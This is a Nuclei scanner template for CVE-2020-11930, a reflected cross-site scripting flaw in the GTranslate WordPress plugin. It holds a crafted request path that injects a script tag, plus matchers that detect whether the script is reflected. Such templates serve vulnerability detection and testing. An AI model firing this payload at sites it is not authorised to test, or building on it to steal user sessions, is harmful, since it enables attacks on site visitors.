nuclei-templates/cves/2020/CVE-2020-11930.yaml

32 lines
1004 B
YAML

id: CVE-2020-11930
info:
name: WordPress Plugin "Translate WordPress with GTranslate" (gtranslate) XSS
author: dhiyaneshDK
severity: medium
description: |
The GTranslate plugin before 2.8.52 for WordPress was vulnerable to an Unauthenticated Reflected XSS vulnerability via a crafted link. This requires use of the hreflang tags feature within a sub-domain or sub-directory paid option.
reference:
- https://wpscan.com/vulnerability/10181
- https://payatu.com/blog/gaurav/analysis-of-cve-2020-11930:-reflected-xss-in-gtranslate-wordpress-module
tags: cve,cve2020,wordpress,xss
requests:
- method: GET
path:
- '{{BaseURL}}/does_not_exist"%22%3E%3Cscript%3Ealert("XSS")%3C/script%3E<img%20src=x'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert("XSS")</script>'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200